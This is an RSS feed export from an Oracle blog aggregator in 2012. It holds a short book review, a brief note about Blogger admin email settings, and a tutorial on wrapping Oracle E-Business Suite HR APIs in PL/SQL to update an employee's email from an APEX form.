<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ORACLE-BASE Blog Aggregator &#187; Uncategorized</title>
	<atom:link href="http://www.oracle-base.com/aggregator/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.oracle-base.com/aggregator</link>
	<description>Blogs I follow...</description>
	<lastBuildDate>Mon, 06 Feb 2012 11:08:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Repairman Jack: The Tomb…</title>
		<link>http://feedproxy.google.com/~r/TheOracleBaseBlog/~3/tDKEm719KVY/</link>
		<comments>http://feedproxy.google.com/~r/TheOracleBaseBlog/~3/tDKEm719KVY/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 11:08:59 +0000</pubDate>
		<dc:creator>Tim...</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/blog/?p=2493</guid>
		<description><![CDATA[The Tomb is the first book in the Repairman Jack series by F. Paul Wilson. Jack fixes things. Not washing machines and stuff like that. He fixes situations for people. It&#8217;s a job that takes him outside the law and means he has to separate himself from most of the things society think of as [...]]]></description>
			<content:encoded><![CDATA[<p>The Tomb is the first book in the <a href="http://www.repairmanjack.com/forum/content.php?4-published-fiction">Repairman Jack</a> series by <a href="http://www.repairmanjack.com/forum/content.php?12-biography">F. Paul Wilson</a>.</p>
<p>Jack fixes things. Not washing machines and stuff like that. He fixes situations for people. It&#8217;s a job that takes him outside the law and means he has to separate himself from most of the things society think of as normal. It also recently separated him from his girlfriend when she found out his job doesn&#8217;t involve fixing household appliances. Now he&#8217;s got to fix a situation for his ex girlfriend involving a family curse that started generations ago in India.</p>
<p>Followers of the blog know I love <a href="http://en.wikipedia.org/wiki/The_Dresden_Files">The Dresden Files</a> and the <a href="http://en.wikipedia.org/wiki/Mike_Carey_(writer)#Novels">Felix Castor</a> series. Repairman Jack hooks into exactly the same groove for me. Harry Dresden, Felix Castor and Jack are the same type of men. Strong, self-reliant and they get the job done in an action-packed way. Very appealing for a cowardly computer geek like myself&#8230; <img src='http://www.oracle-base.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I&#8217;m looking forward to the next 14 books in the series.</p>
<p>Cheers</p>
<p>Tim&#8230;</p>

<p><a href="http://feedads.g.doubleclick.net/~a/NAGsXRkpGpyXAEx1rSDynCJJGps/0/da"><img src="http://feedads.g.doubleclick.net/~a/NAGsXRkpGpyXAEx1rSDynCJJGps/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/NAGsXRkpGpyXAEx1rSDynCJJGps/1/da"><img src="http://feedads.g.doubleclick.net/~a/NAGsXRkpGpyXAEx1rSDynCJJGps/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/TheOracleBaseBlog/~4/tDKEm719KVY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.oracle-base.com/blog/2012/02/06/repairman-jack-the-tomb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>lose ends&#8230;</title>
		<link>http://dbasrus.blogspot.com/2012/02/lose-ends.html</link>
		<comments>http://dbasrus.blogspot.com/2012/02/lose-ends.html#comments</comments>
		<pubDate>Mon, 06 Feb 2012 02:21:00 +0000</pubDate>
		<dc:creator>Noons</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=bc2e0f06d2b54a8c4f0ad93c14aa2a59</guid>
		<description><![CDATA[Finally worked out how to change the admin email ids in the blog!For some reason I never quite fathomed, Google took the wrong email id for admin of this blog when they took over Blogger.  With the result that for quite a while I had to login with a di...]]></description>
			<content:encoded><![CDATA[Finally worked out how to change the admin email ids in the blog!For some reason I never quite fathomed, Google took the wrong email id for admin of this blog when they took over Blogger.  With the result that for quite a while I had to login with a different address than my usual gmail and/or yahoo to administer this blog.It's been a pain in the you-know-what to manage, with yet one more email ]]></content:encoded>
			<wfw:commentRss>http://dbasrus.blogspot.com/feeds/8429694639690368370/comments/default</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="" length="" type="" />
		</item>
		<item>
		<title>E-Business Suite and APEX integration using APIs (1)</title>
		<link>http://feedproxy.google.com/~r/DimitriGielisBlog/~3/6ZkmYOj4T5A/e-business-suite-and-apex-integration_05.html</link>
		<comments>http://feedproxy.google.com/~r/DimitriGielisBlog/~3/6ZkmYOj4T5A/e-business-suite-and-apex-integration_05.html#comments</comments>
		<pubDate>Sun, 05 Feb 2012 22:07:00 +0000</pubDate>
		<dc:creator>Dimitri Gielis</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=128aa21235e3c73095ff30f720a7affc</guid>
		<description><![CDATA[I didn't expect to many technical issues using E-Business Suite (EBS) APIs in APEX as it's basically a call to PL/SQL packages.Next to that the EBS APIs seems to be well documented. I first didn't realise, but for a long time I was using the Oracle Int...]]></description>
			<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-puu8o7sMzZM/Ty7L0PqT_vI/AAAAAAAAGQ0/pfrqrk6fkv8/s1600/ebs_apis.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="133" src="http://3.bp.blogspot.com/-puu8o7sMzZM/Ty7L0PqT_vI/AAAAAAAAGQ0/pfrqrk6fkv8/s320/ebs_apis.png" width="320" /></a></div>I didn't expect to many technical issues using E-Business Suite (EBS) APIs in APEX as it's basically a call to PL/SQL packages.<br /><br />Next to that the EBS APIs seems to be well documented. I first didn't realise, but for a long time I was using the <a href="http://irep.oracle.com/index.html" >Oracle Integration Repository for EBS R11</a>&nbsp;(whereas I'm using R12).<br /><br /><a href="http://2.bp.blogspot.com/-ByU1GP0Ih1c/Ty7QhXKbzsI/AAAAAAAAGRA/EgBRg-ffRak/s1600/Screen+Shot+2012-02-05+at+19.54.39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="316" src="http://2.bp.blogspot.com/-ByU1GP0Ih1c/Ty7QhXKbzsI/AAAAAAAAGRA/EgBRg-ffRak/s640/Screen+Shot+2012-02-05+at+19.54.39.png" width="640" /></a><br /><br />For EBS R12 the Oracle Integration Repository ships as part of the E-Business Suite. To access it, in&nbsp;the Navigator menu, select the Integrated SOA Gateway responsibility, then click on the Integration Repository link.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-PQg6ktZZz48/Ty7VdjHfaXI/AAAAAAAAGRM/o5USCkNRMBE/s1600/Screen+Shot+2012-02-05+at+20.15.26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="352" src="http://2.bp.blogspot.com/-PQg6ktZZz48/Ty7VdjHfaXI/AAAAAAAAGRM/o5USCkNRMBE/s640/Screen+Shot+2012-02-05+at+20.15.26.png" width="640" /></a></div><br />Using the Oracle Integration Repository I would have found it more useful if I could define the number of results (maybe you can, but I didn't find that setting). At the moment I get only 10 results at a time, which is too low for me.<br /><br />I also found it not that easy to find the right API to use. I guess it comes by experience. Next to that, the parameters are not always the same, so the API could be more consistent.<br /><br />For example I want to create and edit a person. In the navigator I went to Human Resources Suite &gt; Human Resource. That was logic for me. Next I looked into the list and saw Employee, so that was a logic choice for me. In there I found the HR_EMPLOYEE_API. That API allows to create an employee. So far so good, but where is the edit? I couldn't really find it, until I asked a friend and he told me to look for person. So when I went to HR Person(1) in the navigator I saw the HR_PERSON_API and in there you find the update and delete of a person.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-xKLwefsiplU/Ty7czC3VeAI/AAAAAAAAGRY/U0xVz74GnzE/s1600/Screen+Shot+2012-02-05+at+20.46.49.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="346" src="http://4.bp.blogspot.com/-xKLwefsiplU/Ty7czC3VeAI/AAAAAAAAGRY/U0xVz74GnzE/s640/Screen+Shot+2012-02-05+at+20.46.49.png" width="640" /></a></div><br />When you look at the parameters; in HR_EMPLOYEE_API.CREATE_EMPLOYEE you see a parameter p_per_comments, in HR_PERSON_API.UPDATE_PERSON you see a parameter p_comments. It would have been easier if the parameters were consistent.<br /><br />So once I got familiar with APIs, I started with the integration in my APEX app. Here are the steps to drill-down into a person from the people report (see <a href="http://dgielis.blogspot.com/2012/02/e-business-suite-and-apex-integration_03.html" >previous post</a>) and edit his or her email address.<br /><br />Just as with the views I find it a good practice to not grant execute on the entire libraries of EBS to your own schema. I prefer to create my own packages in the APPS schema e.g. apex_api_pkg and call the correct API calls from there. The advantage is that you can add logging to your own package or do some other extra logic in there. For example APEX passes typically back values as strings, but some API calls need to be passed (next to varchar2) as a date, a number or a boolean. So you could choose to have all input strings in varchar2 in the apex_api_pkg and do the conversion inside the package to the correct one. In the below code I didn't do that, instead I went for an almost 1-on-1 mapping.<br /><br /><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">create or replace package apex_api_pkg</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">as</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">procedure update_person_email (</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_date &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;in date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_datetrack_update_mode &nbsp; &nbsp; in varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_person_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; in number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_email_address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; in varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_object_version_number &nbsp; &nbsp; in out number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_employee_number &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_start_date &nbsp; &nbsp; &nbsp;out date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_end_date &nbsp; &nbsp; &nbsp; &nbsp;out date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_full_name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_comment_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;out number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_name_combination_warning &nbsp;out boolean,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_assign_payroll_warning &nbsp; &nbsp;out boolean,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_orig_hire_warning &nbsp; &nbsp; &nbsp; &nbsp; out boolean</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">);</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">end apex_api_pkg;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">/</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">create or replace package body apex_api_pkg</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">as</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">procedure update_person_email (</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_date &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;in date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_datetrack_update_mode &nbsp; &nbsp; in varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_person_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; in number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_email_address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; in varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_object_version_number &nbsp; &nbsp; in out number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_employee_number &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_start_date &nbsp; &nbsp; &nbsp;out date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_end_date &nbsp; &nbsp; &nbsp; &nbsp;out date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_full_name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out varchar2,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_comment_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;out number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_name_combination_warning &nbsp;out boolean,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_assign_payroll_warning &nbsp; &nbsp;out boolean,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_orig_hire_warning &nbsp; &nbsp; &nbsp; &nbsp; out boolean</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">)</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">is</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_object_version_number &nbsp; &nbsp; number;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_employee_number &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; varchar2(4000);</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_effective_start_date &nbsp; &nbsp; &nbsp;date;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_effective_end_date &nbsp; &nbsp; &nbsp; &nbsp;date;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_full_name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; varchar2(4000);</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_comment_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;number;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_name_combination_warning &nbsp;boolean;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_assign_payroll_warning &nbsp; &nbsp;boolean;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_orig_hire_warning &nbsp; &nbsp; &nbsp; &nbsp; boolean; &nbsp;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">begin</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_object_version_number := p_object_version_number;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; hr_person_api.update_person (</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_date &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt; p_effective_date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_datetrack_update_mode &nbsp; &nbsp; =&gt; p_datetrack_update_mode,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_person_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; p_person_id,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_email_address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; p_email_address,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_object_version_number &nbsp; &nbsp; =&gt; l_object_version_number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_employee_number &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; l_employee_number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_start_date &nbsp; &nbsp; &nbsp;=&gt; l_effective_start_date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_end_date &nbsp; &nbsp; &nbsp; &nbsp;=&gt; l_effective_end_date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_full_name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; l_full_name,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_comment_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt; l_comment_id,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_name_combination_warning &nbsp;=&gt; l_name_combination_warning,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_assign_payroll_warning &nbsp; &nbsp;=&gt; l_assign_payroll_warning,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_orig_hire_warning &nbsp; &nbsp; &nbsp; &nbsp; =&gt; l_orig_hire_warning</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; );</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">end update_person_email;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">end apex_api_pkg;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">/</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="font-family: Times;">The next thing is to grant execute privileges on this package to your own user which is linked to your APEX workspace:</span></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="font-family: Times;"><br /></span></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">grant execute on apex_api_pkg to apex_ebs;</span><br /><br /><br />In the APEX application we create a new Form based on this procedure. I found that the APEX wizard didn't work in my case (but more on that in another post). I created a new Blank Page, add a region to it and a couple of items.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-Da8_M5SGEeQ/Ty730SaB2PI/AAAAAAAAGRk/6PXdm35h0WM/s1600/Screen+Shot+2012-02-05+at+22.42.15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="http://2.bp.blogspot.com/-Da8_M5SGEeQ/Ty730SaB2PI/AAAAAAAAGRk/6PXdm35h0WM/s640/Screen+Shot+2012-02-05+at+22.42.15.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">From my report I created an edit link to this new page and I pass the value of PERSON_ID to this page.</div>As I want to see the original data in my form (note that I didn't include all fields available in the API) I added a Fetch data process of type PL/SQL anonymous block with this code:<br /><br /><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">select full_name, email_address, effective_start_date, employee_number, object_version_number</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; into :P2_FULL_NAME, :P2_EMAIL_ADDRESS, :P2_EFFECTIVE_DATE, :P2_EMPLOYEE_NUMBER, :P2_OBJECT_VERSION_NUMBER</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; from apex_per_people_vw</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp;where person_id = :P2_PERSON_ID;</span><br /><br />When you hit the Apply Changes button I want the email address to update, that is why we have the Update email Process in Page Processing. The PL/SQL code is as follows:<br /><br /><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">declare</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_object_version_number &nbsp; &nbsp; number;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_employee_number &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; varchar2(4000);</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_effective_start_date &nbsp; &nbsp; &nbsp;date;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_effective_end_date &nbsp; &nbsp; &nbsp; &nbsp;date;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_full_name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; varchar2(4000);</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_comment_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;number;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_name_combination_warning &nbsp;boolean;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_assign_payroll_warning &nbsp; &nbsp;boolean;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_orig_hire_warning &nbsp; &nbsp; &nbsp; &nbsp; boolean; &nbsp;</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">begin</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; l_object_version_number := to_number(:P2_OBJECT_VERSION_NUMBER);</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; apps.apex_api_pkg.update_person_email (</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_date &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt; to_date(:P2_EFFECTIVE_DATE, 'DD-MON-YYYY'),</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_datetrack_update_mode &nbsp; &nbsp; =&gt; :P2_UPDATE_MODE,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_person_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; to_number(:P2_PERSON_ID),</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_email_address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; :P2_EMAIL_ADDRESS,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_object_version_number &nbsp; &nbsp; =&gt; l_object_version_number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_employee_number &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; l_employee_number,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_start_date &nbsp; &nbsp; &nbsp;=&gt; l_effective_start_date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_effective_end_date &nbsp; &nbsp; &nbsp; &nbsp;=&gt; l_effective_end_date,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_full_name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&gt; l_full_name,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_comment_id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&gt; l_comment_id,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_name_combination_warning &nbsp;=&gt; l_name_combination_warning,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_assign_payroll_warning &nbsp; &nbsp;=&gt; l_assign_payroll_warning,</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; p_orig_hire_warning &nbsp; &nbsp; &nbsp; &nbsp; =&gt; l_orig_hire_warning</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">&nbsp; );</span><br /><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">end;</span><br /><br />I just do the necessary to update the email, I don't do that much yet with the output parameters, but you could transfer that back to the page if you wanted to. Also note that the package is in the APPS schema, so don't forget to add the owner in front of it. You could create a synonym in your own schema if you preferred. For the view I find it important to have those in my own schema too, for packages only if I wanted to add some extra logic to it.<br /><br />Running the page shows you the below form.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-ETZ98j-3sEs/Ty751y5GeMI/AAAAAAAAGRw/wfFgptdxYgU/s1600/Screen+Shot+2012-02-05+at+22.50.55.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="269" src="http://4.bp.blogspot.com/-ETZ98j-3sEs/Ty751y5GeMI/AAAAAAAAGRw/wfFgptdxYgU/s640/Screen+Shot+2012-02-05+at+22.50.55.png" width="640" /></a></div>In EBS there are different ways (UPDATE, CORRECTION, UPDATE_OVERRIDE, UPDATE_CHANGE_INSERT), to update the record, as I wanted to test them out, I added the Update Mode select list to the form. An UPDATE you can only do once per day, CORRECTION is what I used to update the same record multiple times.<br /><br />Note that we still didn't login into our APEX application as an EBS user, so EBS doesn't know who I'm. As EBS is keeping an audit of the records, I (the logged in APEX user) won't be seen in those audit records, instead it will be a general one (EBS sysadmin I suppose). In the next posts we will authenticate with EBS integrate tighter.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-Qp4cQ-c1poA/Ty78L044IOI/AAAAAAAAGR8/0kLlMd9T0gg/s1600/Screen+Shot+2012-02-05+at+23.00.44.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="http://1.bp.blogspot.com/-Qp4cQ-c1poA/Ty78L044IOI/AAAAAAAAGR8/0kLlMd9T0gg/s640/Screen+Shot+2012-02-05+at+23.00.44.png" width="640" /></a></div><br /><br /><br />In this post the purpose was to make an EBS API call to update an email address of a person. While playing with the EBS API I came across some challenges and I had to ask for advice to more experienced EBS people. Which will also be shown in the next post; where I will create a person with the API...<br /><br /><span class="Apple-style-span" style="color: #191919; font-family: Verdana, sans-serif; font-size: 12px;">Previous related posts:</span><br /><ul style="color: #191919; font-family: Verdana, sans-serif; font-size: 12px; line-height: 1.4em; list-style-type: none; padding-left: 32px;"><li style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://dgielis.gg-design.be/blog/icon_list_item.gif); 